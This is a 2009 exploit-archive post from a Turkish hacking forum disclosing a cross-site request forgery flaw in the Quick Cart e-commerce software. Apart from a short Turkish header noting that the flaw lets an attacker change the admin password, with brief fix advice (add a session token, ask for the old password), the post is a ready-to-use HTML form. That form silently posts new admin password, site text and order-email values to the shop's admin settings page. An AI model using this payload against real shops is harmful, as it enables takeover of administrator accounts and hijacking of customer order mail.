Quick Cart ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Quick Cart ~ XSRF Vuln.

Madde
	Author : Bug Researchers/_iLLeqaL_
	Date : 13.09.2009 20:36:41
	# Quick Cart ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Quick Cart # vulnerable Type : XSRF # Infection : Admin sifresi degistirebilir .. , Meta ile yönlendirme yapilabilir .. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli,Eski sifre sorulmalidir .. # author : _iLLeqaL_ ~ Bug Researchers ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form action=http://opensolution.org/Quick.Cart/demo/admin.php?p=settings-config method=post id=mainForm name=form onsubmit=return checkForm( this );> <input type=text name=description value=Description size=70 maxlength=200 class=input /><br> <input type=text name=keywords value=Keywords size=70 maxlength=255 class=input/><br> <input type=text name=slogan value=Slogan size=70 maxlength=200 class=input /><br> <input type=text name=foot_info value=Siteniz.Com size=70 maxlength=200 class=input /><br> <input type=text name=login readonly=readonly value=admin size=40 class=input alt=simple /><br> <input type=text name=pass value=Sifre size=40 class=input alt=simple /><br> <input type=text name=orders_email value=Mail@Mail.com size=40 class=input /><br> <input type=submit value=save » name=sOption /></td> </form> < -- bug code end of -- >